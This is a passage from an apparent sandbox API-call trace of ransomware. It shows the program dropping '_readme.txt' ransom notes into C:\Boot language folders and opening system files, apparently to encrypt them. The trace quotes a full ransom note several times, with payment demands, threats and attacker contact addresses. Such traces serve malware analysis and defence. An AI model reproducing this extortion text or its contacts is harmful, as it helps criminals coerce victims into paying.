(HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.095] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0267.095] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0267.095] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0267.095] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0267.095] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x31099a8 [0267.095] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.095] FreeLibrary (hLibModule=0x75d10000) returned 1 [0267.095] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0267.095] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.096] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 0 [0267.096] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x311b6f8 [0267.096] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0267.096] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0267.096] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0267.096] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\_readme.txt" (normalized: "c:\\boot\\tr-tr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.096] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.096] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.096] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0267.096] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.096] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081918 [0267.096] PathFindExtensionW (pszPath="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned=".mui" [0267.097] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.097] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0267.097] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.097] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.097] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0267.097] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.097] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.097] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.097] PathFindFileNameW (pszPath="C:\\Boot\\zh-CN\\") returned="zh-CN\\" [0267.097] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.097] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0267.097] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.097] PathFindFileNameW (pszPath="") returned="" [0267.097] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.097] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0267.098] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0267.098] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0267.098] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0267.098] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0267.098] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.098] FreeLibrary (hLibModule=0x75d10000) returned 1 [0267.098] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0267.098] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.098] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 0 [0267.098] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x311b6f8 [0267.098] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0267.098] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0267.099] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0267.099] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\_readme.txt" (normalized: "c:\\boot\\zh-cn\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.099] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.099] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.099] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0267.099] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.099] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0267.099] PathFindExtensionW (pszPath="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned=".mui" [0267.099] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.099] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0267.099] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.100] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0267.100] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.100] PathFindFileNameW (pszPath="C:\\Boot\\zh-HK\\") returned="zh-HK\\" [0267.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.100] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0267.100] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.100] PathFindFileNameW (pszPath="") returned="" [0267.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.100] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0267.100] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0267.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0267.100] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0267.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x31099a8 [0267.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.100] FreeLibrary (hLibModule=0x75d10000) returned 1 [0267.101] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0267.101] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.101] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 0 [0267.101] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x311b6f8 [0267.101] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0267.101] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and 